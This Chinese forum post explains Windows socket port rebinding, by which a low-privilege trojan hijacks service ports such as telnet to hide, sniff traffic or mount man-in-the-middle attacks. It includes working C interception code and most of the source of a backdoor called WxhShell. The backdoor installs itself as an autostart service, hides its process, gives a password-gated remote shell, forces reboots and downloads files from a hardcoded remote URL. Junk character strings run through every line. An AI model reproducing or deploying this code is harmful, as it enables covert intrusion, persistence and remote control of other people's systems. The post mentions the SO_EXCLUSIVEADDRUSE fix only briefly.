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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )Or:wFSMq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K{[Fa,]'  
#L+s%OJ`  
  saddr.sin_family = AF_INET; !O%f)v?  
P[J qJi/H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XQ|j5]  
QdG?"Bdt2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >P]I&S-.  
H$($l<G9C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ={&TeMMA  
`[W)6OUCx}  
  这意味着什么?意味着可以进行如下的攻击: ,2:L{8_L  
!&`7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "b+3 &i|  
ud~VQXZo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BYA=M*f  
{ &JurZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }O-%kl  
fxf GJNR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5G]#'tu  
{(zL"g46  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G){1`gAhNJ  
C*6bR? I9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YM4U.! 4o  
*b7 ^s,?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oVj A$|  
tIp\MXkTQ&  
  #include rj`.hXO  
  #include uJAB)ti2I  
  #include G%x,t -  
  #include    ,~68~_)  
  DWORD WINAPI ClientThread(LPVOID lpParam);     !AD,  
  int main() a1Y_0  
  { @+Anv~B.  
  WORD wVersionRequested; CB7R{~ $  
  DWORD ret; ^ 8Nr %NJ  
  WSADATA wsaData; eB1eUK>  
  BOOL val; 66y,{t  
  SOCKADDR_IN saddr; {7MgN'4  
  SOCKADDR_IN scaddr; ywa.cq  
  int err; eC1c`@C:  
  SOCKET s; #$ raUNr  
  SOCKET sc; 7$!Bq#  
  int caddsize; 5'}!v  
  HANDLE mt; F@*r%[S/  
  DWORD tid;   ? wiq 3f6  
  wVersionRequested = MAKEWORD( 2, 2 ); ]H@uuPT!  
  err = WSAStartup( wVersionRequested, &wsaData ); 98%a)s)(a  
  if ( err != 0 ) { Q,LWZw~"  
  printf("error!WSAStartup failed!\n"); '&L   
  return -1; f>JzG,-  
  } 0i1?S6]d-  
  saddr.sin_family = AF_INET; fVe-esAw  
   sC*E;7gT,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [}g5Z=l  
.dq.F#2B;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N 7|W.(  
  saddr.sin_port = htons(23); "i5AAP?_]{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kO\&mL& qD  
  { kTe<1^,m  
  printf("error!socket failed!\n"); 'bqf?3W  
  return -1; ,Y/>*,J  
  } c\?/^xr'!}  
  val = TRUE; iegPEb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U},W/g-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %li{VDb  
  {  K`mxb}  
  printf("error!setsockopt failed!\n"); !"qEB2r  
  return -1; ~d1RD  
  } q\b9e&2Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; peP:5WB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5;%xqdD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9<#R;eIsv  
Dl!'_u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `1}yB  
  { k/f_@8  
  ret=GetLastError(); m>m`aLrnb  
  printf("error!bind failed!\n"); +GEKg~/4e  
  return -1; SodW5v a  
  } ToCfLJ?{  
  listen(s,2); Y-9j2.{  
  while(1) pF{Ri  
  { &b:Zln.j  
  caddsize = sizeof(scaddr); @!tmUme1c  
  //接受连接请求 2/W0y!qh1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vf2! 0  
  if(sc!=INVALID_SOCKET) wZolg~dg  
  { -^%"w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RB 0j!H:  
  if(mt==NULL) O&1p2!Bk4  
  { "e?#c<p7  
  printf("Thread Creat Failed!\n"); lIT2 AFX+  
  break; f;I"tugO  
  } _-nN( ${{  
  } +mel0ZStS  
  CloseHandle(mt); R}YryzV5  
  } +Gs;3jC^  
  closesocket(s); m^&mCo,  
  WSACleanup(); '<j p.sZQ  
  return 0; ? 9M+fi  
  }   B,qZwc|  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2QD B'xs3  
  { T</gWW  
  SOCKET ss = (SOCKET)lpParam; )4O`%9=M&  
  SOCKET sc; MjosA R  
  unsigned char buf[4096]; r/w@Dh]{_  
  SOCKADDR_IN saddr; -&^(T  
  long num; {;gWn' aq  
  DWORD val; @MVZy  
  DWORD ret; lY8Qy2k|  
  //如果是隐藏端口应用的话,可以在此处加一些判断    r3K:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w'j]Y%  
  saddr.sin_family = AF_INET;  [?(W7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ziip*<a !_  
  saddr.sin_port = htons(23); AZP>\Dq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P =Gb  
  { z?g4^0e  
  printf("error!socket failed!\n"); ^E,Uc K;  
  return -1; "s^@PzQpN  
  } ;^SgV   
  val = 100; 3W00,f^9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ijSYQ  
  { Vc<n6  
  ret = GetLastError(); IWd*"\L  
  return -1; ,S K6*tpI  
  } lJ2/xE]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %}MM+1eu  
  { )O'<jwp$  
  ret = GetLastError(); %5w)}|fw  
  return -1; yL,B\YCf8  
  } 1Vvx@1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q |r1.  
  { T+( A7Qrx%  
  printf("error!socket connect failed!\n"); En%o7^W++  
  closesocket(sc); OF}_RGKg3  
  closesocket(ss); TW? MS em  
  return -1; )W3l{T(  
  } ,)m-nZ5  
  while(1) vUExS Z^  
  { y$W3\`2q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !0_Y@>2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q&x#S_!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JB}h }nb  
  num = recv(ss,buf,4096,0); WWs>@lCK  
  if(num>0) 'v5gg2  
  send(sc,buf,num,0); mSp7H!  
  else if(num==0) <T9m.:l  
  break; G7xjW6^T  
  num = recv(sc,buf,4096,0); 7]53GGNO  
  if(num>0) eeZ9 w~<  
  send(ss,buf,num,0); 7t/SZm  
  else if(num==0) g#NUo/  
  break; *]u/,wCB  
  } eHIC'b.  
  closesocket(ss); !9Ni[8&Fg0  
  closesocket(sc); @1X1E 2:  
  return 0 ; [# H8Mb+7  
  } ~)(Dm+vZ  
q|\Cp  
a2n#T,kq&  
========================================================== EPfVS  
,\"gN5[$(  
下边附上一个代码,,WXhSHELL J> |`  
~0:c{v;4  
========================================================== (b5af_ c  
3_:k12%p  
#include "stdafx.h" KLB?GN?Pb  
ax}Xsk_  
#include <stdio.h> D7wWk ,B  
#include <string.h> e70*y'1fu  
#include <windows.h> cFo-NI2  
#include <winsock2.h> 1EB`6_>y  
#include <winsvc.h> SesO$=y  
#include <urlmon.h> J>&GP#7}  
w Nnb@  
#pragma comment (lib, "Ws2_32.lib") s)=7tHoqB)  
#pragma comment (lib, "urlmon.lib") 6jA Q  
4Yk (ldR~  
#define MAX_USER   100 // 最大客户端连接数 j'cS_R  
#define BUF_SOCK   200 // sock buffer 1NJ|%+I  
#define KEY_BUFF   255 // 输入 buffer ^|z>NV5>  
Ac%K+Pgk.  
#define REBOOT     0   // 重启 ppS`zqq $  
#define SHUTDOWN   1   // 关机 G3n7x?4m  
s"Wdbw(O'  
#define DEF_PORT   5000 // 监听端口 4T-AWk  
B(U`Zd  
#define REG_LEN     16   // 注册表键长度 /vKDlCH*  
#define SVC_LEN     80   // NT服务名长度 (6b%;2k  
GW#Wy=(_  
// 从dll定义API z9ZAY!Zhq]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;E_{Zji_e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jHzb,&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wq#3f#3V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  73X]|fy  
4B 6Aw?  
// wxhshell配置信息 .Dz /MSl  
struct WSCFG { KYaf7qy]  
  int ws_port;         // 监听端口 x~.U,,1  
  char ws_passstr[REG_LEN]; // 口令 A>k;o0r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1lM0pl6M  
  char ws_regname[REG_LEN]; // 注册表键名 oB@C-(M  
  char ws_svcname[REG_LEN]; // 服务名 h !1c(UR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {I ,'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g*uO IF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * G4;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0v?,:]A0E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,v+SD\7|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gf@Dy6<  
{cFei3'q  
}; =W=%!A\g  
#</yX5!V  
// default Wxhshell configuration Z:{Z&HQC  
struct WSCFG wscfg={DEF_PORT, ;f?bb*1  
    "xuhuanlingzhe", kaLRI|hC  
    1, L.'N'-BV  
    "Wxhshell", ~Q0}>m,S  
    "Wxhshell", Yv)/DsSyL  
            "WxhShell Service", Et (prmH  
    "Wrsky Windows CmdShell Service", P:+:Cm<  
    "Please Input Your Password: ", p%_TbH3j`  
  1, AKVmUS;70  
  "http://www.wrsky.com/wxhshell.exe", SF7Kb`>Y  
  "Wxhshell.exe" 622).N4  
    }; @{G(.S  
l;ugrAo?  
// 消息定义模块 !ibp/:x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e;$s{CNo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L[^e< I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *4bV8T>0Z  
char *msg_ws_ext="\n\rExit."; *!/9?M{p  
char *msg_ws_end="\n\rQuit."; ScD9Ct*):C  
char *msg_ws_boot="\n\rReboot..."; n9%rjS$  
char *msg_ws_poff="\n\rShutdown..."; FVHL;J]nf1  
char *msg_ws_down="\n\rSave to "; )Z#7%, o  
,3K?=e2  
char *msg_ws_err="\n\rErr!"; AWzpk }\  
char *msg_ws_ok="\n\rOK!"; :c>,=FUT  
M:~#"lfK  
char ExeFile[MAX_PATH]; ]KmYPrCl0  
int nUser = 0; B4?P"|  
HANDLE handles[MAX_USER]; K"D9.%7  
int OsIsNt; >_o_&;=`v  
bF.Aj8ZQ  
SERVICE_STATUS       serviceStatus; <Aa%Uwpc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Je'$V%{E  
:MpCj<<[  
// 函数声明 n1ICW 9  
int Install(void); @'QBrE  
int Uninstall(void); 7Vi[I< *  
int DownloadFile(char *sURL, SOCKET wsh); o7 kGZ  
int Boot(int flag); g!8-yri  
void HideProc(void); 9 }=Fdt  
int GetOsVer(void); `fH6E8N  
int Wxhshell(SOCKET wsl); lyyi?/W%  
void TalkWithClient(void *cs); cG<?AR?wDT  
int CmdShell(SOCKET sock); GZ1>]HB>r^  
int StartFromService(void); ci!c7 ,'c  
int StartWxhshell(LPSTR lpCmdLine); <D__17W:;  
o]vdxkU]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |G1U $p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jH8F^KJM[  
> ,[(icyzn  
// 数据结构和表定义 <(v!Xj^yO  
SERVICE_TABLE_ENTRY DispatchTable[] = C$P3&k#W  
{ 8yd OS  
{wscfg.ws_svcname, NTServiceMain}, "}n]0 >J  
{NULL, NULL} ]k hY8it  
}; }*%%GPJ  
<rU(zm  
// 自我安装 cj[y]2{1h  
int Install(void) #q\C"N5ip  
{ w$pv  
  char svExeFile[MAX_PATH]; xN5}y3  
  HKEY key; j/sZ:Q  
  strcpy(svExeFile,ExeFile); iZ{D_uxq  
ZjzQv)gZ  
// 如果是win9x系统,修改注册表设为自启动 "m!Cl-+u  
if(!OsIsNt) { z:w7e0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Kqe4$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NTV0DkX  
  RegCloseKey(key); %bAv.'C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \t}!Dr+yN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bNXT*HOZb3  
  RegCloseKey(key); `18G 5R  
  return 0; /h_BF\VBs  
    } n@*NQ`(_  
  } 0j*8|{|  
} WPPmh~:  
else { 6s6[sUf=l&  
qLR)>$  
// 如果是NT以上系统,安装为系统服务 JLjx4B\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zEu*q7  
if (schSCManager!=0) 4FYws5]$  
{ NEX\+dtE~0  
  SC_HANDLE schService = CreateService ]1klfp,`  
  ( Ij" `pdp  
  schSCManager, |[*b[O 1W  
  wscfg.ws_svcname, B$fL);l-  
  wscfg.ws_svcdisp, 1e }wDMU(  
  SERVICE_ALL_ACCESS, WKN\* N<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hp)3@&T  
  SERVICE_AUTO_START, #q%&,;4  
  SERVICE_ERROR_NORMAL, c(o8uWn  
  svExeFile, oM< 9]jK}  
  NULL, IkD\YPL;  
  NULL, .7oz  
  NULL, [ z?<'Tj  
  NULL, o0AREZ+I  
  NULL r t f}4.  
  ); 291v R]  
  if (schService!=0) =x=#Etj|  
  { |S/nq_g]  
  CloseServiceHandle(schService); =l {>-`:  
  CloseServiceHandle(schSCManager); 5{{u #W%=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %KqXtc`O  
  strcat(svExeFile,wscfg.ws_svcname); `*WR[c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GR/ p%Y(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 90Q}9T\  
  RegCloseKey(key); hEDj"`Px  
  return 0; 7Ij'!@no  
    } pZXva9bE  
  } qPWYY  
  CloseServiceHandle(schSCManager); m+CvU?)gJ  
} [N{Rd[{QTL  
} z55P~p  
H1+G:TM  
return 1; Tc{r}y[)  
} }y'KS:Jb  
@zE_fL  
// 自我卸载 CB|Z~_Bm  
int Uninstall(void) A!SHt7ysJ  
{ KN5.2pp  
  HKEY key; [}.OlR3)  
]GRPxh  
if(!OsIsNt) { nNf/$h#;O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o: qB#8X  
  RegDeleteValue(key,wscfg.ws_regname); \T>f+0=4  
  RegCloseKey(key); :h"Y>1P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `*N2x\+X  
  RegDeleteValue(key,wscfg.ws_regname); lr=*Ty(V  
  RegCloseKey(key); Z>'.+OW  
  return 0; wuI+$?  
  } e:&5Cvx  
} {=pf#E=  
} {~VgXkjsC  
else { #VtlXr>G  
#k*e>d$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fZ$8PMZv  
if (schSCManager!=0) F8.Fp[_tM  
{ >AJtoJ=j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7h,SX]4Q  
  if (schService!=0) %*zgN[/w  
  { gFJd8#6t  
  if(DeleteService(schService)!=0) { /&a[D 2  
  CloseServiceHandle(schService); VcA87*pel  
  CloseServiceHandle(schSCManager); YaDr6)  
  return 0; Sky!ZN'I  
  } X]M)T  
  CloseServiceHandle(schService); .pK_j~}P  
  } c)+IX;q-C  
  CloseServiceHandle(schSCManager); 0Kq\ oMn  
} T-uI CMEf  
} 5_#wOz0u$  
Y ~xcJH  
return 1; c=h{^![$  
} %\2 ll=p1  
Z#%4QIz ?  
// 从指定url下载文件 zN0^FXGD  
int DownloadFile(char *sURL, SOCKET wsh) Y}Y2 Vx  
{ !'[f!vsyM{  
  HRESULT hr; ^dld\t:tV7  
char seps[]= "/"; [PdatL2  
char *token; ["kk.*&  
char *file; uv eTx  
char myURL[MAX_PATH]; YOy/'Le^:  
char myFILE[MAX_PATH]; vaW, O/F  
{a\m0Bw/  
strcpy(myURL,sURL); "xi)GH]H_  
  token=strtok(myURL,seps); )L<NW{  
  while(token!=NULL) 5F18/:\n  
  { YOqGFi~`  
    file=token; [g`P(?  
  token=strtok(NULL,seps); MZv In ZS  
  } h:}oUr8   
vg5i+ry<  
GetCurrentDirectory(MAX_PATH,myFILE); @/g%l1$`  
strcat(myFILE, "\\"); aTxss:7]  
strcat(myFILE, file); P?\IlziCB  
  send(wsh,myFILE,strlen(myFILE),0); nZ0- Kb  
send(wsh,"...",3,0); fq48>"g*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M| :wC  
  if(hr==S_OK) _Y?p =;  
return 0; Ys|tGU  
else .i) H1sD  
return 1; <j+DY@*  
bx#GOK-  
} !uLz%~F  
%4*-BCP  
// 系统电源模块 n<+g{QHi  
int Boot(int flag) |Ah'KpL8W  
{ ZEYT17g]  
  HANDLE hToken; &!SdO<agZ  
  TOKEN_PRIVILEGES tkp; p8aGM-+40W  
<%Zg;]2H`  
  if(OsIsNt) { -W38#_y/\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); omevF>b;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MqDz cB]  
    tkp.PrivilegeCount = 1; '_N~PoV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .B_LQ;0:   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jdqVS@SD  
if(flag==REBOOT) { JR] /\(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l 8qCg/ew  
  return 0; O~?H\2S  
} 1tw>C\  
else { roSdcQTeT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3#<b!Yz  
  return 0; A)/8j2  
} b{%p  
  } Xn@\p5<  
  else { hLK5s1#K  
if(flag==REBOOT) { 0}tf*M+a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2.)xWCG  
  return 0; c5C 2xE}T  
} 094~  s  
else { WT;4J<O/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E%8Op{zv_  
  return 0; v'na{"  
} $a.fQ<,\X  
} k<(G)7'gm  
HI&N&a9C  
return 1; xMsSZ{j%5  
} .$&mWytw=  
=;A p+}  
// win9x进程隐藏模块 s&&8~ )H  
void HideProc(void) 5-qk"@E W  
{ v<CZ.-r\j  
&B ?TX.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3>asl54  
  if ( hKernel != NULL ) O =m_P}K  
  { v% a)nv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); utOATjB.z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @{/GdB,}  
    FreeLibrary(hKernel); `s1>7XWf  
  } @pq2Z^SQH  
$ 1lI6 = ,  
return; mW EaUi)Zz  
} a4{~.Mp  
sT8(f=^)8F  
// 获取操作系统版本 T6mbGE*IeE  
int GetOsVer(void)  ja!K2^  
{ oE/g) m%  
  OSVERSIONINFO winfo; <5@VFRjc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9lXjB_wG>  
  GetVersionEx(&winfo); } V  *  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \"k[y+O],4  
  return 1; I "Qf};n  
  else |p_\pa1&  
  return 0; ^V6cx2M  
} 76 nrDE  
 \EI<1B  
// 客户端句柄模块 J34/rL/s  
int Wxhshell(SOCKET wsl) 3QSA|  
{ ,jH<i.2R  
  SOCKET wsh; 3T1t !q4/5  
  struct sockaddr_in client; m{#?fR=9  
  DWORD myID; ;|yd}q=p  
@}K|/  
  while(nUser<MAX_USER) n0)0"S|y1  
{ S:5vC {  
  int nSize=sizeof(client); vtx3a^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AUk-[i  
  if(wsh==INVALID_SOCKET) return 1; ~V34j:  
_L8|Z V./  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "2'4b  
if(handles[nUser]==0) =#=<%HPT  
  closesocket(wsh); @kh:o\  
else '0b!lVe  
  nUser++; n1XJ uc~  
  } 4C:-1gu7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LK>A C9ak<  
?58,Ja  
  return 0; |; [XZ ZZ  
} p9X{E%A<:  
-ElK=q  
// 关闭 socket  {4]sJT  
void CloseIt(SOCKET wsh) v[l={am{/  
{ meF.`fh  
closesocket(wsh); ,]Gi942  
nUser--; };{Qx  
ExitThread(0); CU`yi.)T{  
} ]9A@iA  
SH ow~wxw  
// 客户端请求句柄 vQH 6CB"  
void TalkWithClient(void *cs)  C\`*_t  
{ |(eRv?Qy@  
bT>1S2s  
  SOCKET wsh=(SOCKET)cs; 2|a5xTzH  
  char pwd[SVC_LEN]; #3~hF)u&/  
  char cmd[KEY_BUFF]; |7CFm  
char chr[1]; C(Cuk4K  
int i,j; y@Gl'@-O  
3*(w=;y  
  while (nUser < MAX_USER) { pLdZB9oD]C  
9M12|X\]8  
if(wscfg.ws_passstr) { }+@GgipyO.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2/dvCt6 N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #jqcUno  
  //ZeroMemory(pwd,KEY_BUFF); &"gQrBa  
      i=0; ZbAg^2  
  while(i<SVC_LEN) { (/i?Fd  
?+P D?c7  
  // 设置超时 0PP5qeqN2n  
  fd_set FdRead; ~fF_]UVq3  
  struct timeval TimeOut; c3__=$)'kP  
  FD_ZERO(&FdRead); zk++#rB  
  FD_SET(wsh,&FdRead); Hd_W5R  
  TimeOut.tv_sec=8;  j1~'[  
  TimeOut.tv_usec=0; 0rrNVaM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R3bHX%T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H13kNhV9  
(O!Q[WLS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dje}C bZ  
  pwd=chr[0]; \+#>XDD  
  if(chr[0]==0xd || chr[0]==0xa) { (5/>arDn  
  pwd=0; xJ rKH  
  break; Spm0DqqR?  
  } }!_ofe  
  i++; wZnv*t_  
    } Wm^RfxgN/  
KD=W(\  
  // 如果是非法用户,关闭 socket o4t6NDa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =O o4O CF2  
} 7[I%UP  
'$0~PH&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w D}g\{P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /idrb c  
*Dhy a g  
while(1) { o+0x1Ct3P  
(#K u`  
  ZeroMemory(cmd,KEY_BUFF); $8{v_2C){  
y[A%EMd  
      // 自动支持客户端 telnet标准   Q!R eA{  
  j=0; o6ag{Yp  
  while(j<KEY_BUFF) { #a+*u?jnnL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MhL>6rn  
  cmd[j]=chr[0]; FoKAF &h7  
  if(chr[0]==0xa || chr[0]==0xd) { N <e72x  
  cmd[j]=0; kSUpEV+/  
  break; !(i}FFn{:  
  } 5fvY#6;  
  j++; iXPe  
    } e-EY]%JO  
<|>7?#s2=  
  // 下载文件 p:Hg>Z  
  if(strstr(cmd,"http://")) { 9#MY(Hr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -d)+G%{  
  if(DownloadFile(cmd,wsh)) p0sq{d~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o>jM4sk$  
  else Ad)::9K?J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 k+4R<  
  } WlHK  
  else { /v-:ca)7mI  
IBm"VCg{Ew  
    switch(cmd[0]) { _q z^|J  
  _j sJS<21  
  // 帮助 6F:< c  
  case '?': { i$gH{wn\`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PBOZ^%k  
    break; htu(R$GSM  
  } $d\>^Q  
  // 安装 2H9;4>ss  
  case 'i': { )WH;G:$&"  
    if(Install()) *-`-P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ BZA1,  
    else <x[CL,Zg7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]9PQKC2&  
    break; Me2qOc^Z-  
    } sL!+&Id|  
  // 卸载 ',bSJ4)Y  
  case 'r': { zPc kM)  
    if(Uninstall()) 2Fc>6]:*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SUN!8 qFA  
    else cnraNq1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EPiZe-  
    break; jBMGm"NE  
    } 3R& FzLs  
  // 显示 wxhshell 所在路径 []l2 `fS#  
  case 'p': { .C\##   
    char svExeFile[MAX_PATH]; cH48)  
    strcpy(svExeFile,"\n\r"); vhd+A  
      strcat(svExeFile,ExeFile); B>UF dj]-  
        send(wsh,svExeFile,strlen(svExeFile),0); L+D9ZE]  
    break; 3L^]J}|  
    } @/W~lJ!e  
  // 重启 >m+Fm=  
  case 'b': {  /C   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `'G1"CX  
    if(Boot(REBOOT)) 1"wZ [.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?rxq//S2  
    else { $2w][ d1  
    closesocket(wsh); d6f+[<<  
    ExitThread(0); lPZYd 8  
    } +x]3 - s  
    break; H;c3 x"  
    } vf;&0j&`  
  // 关机 bae\EaS ?  
  case 'd': { \e9rXh%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d#1yVdqRl  
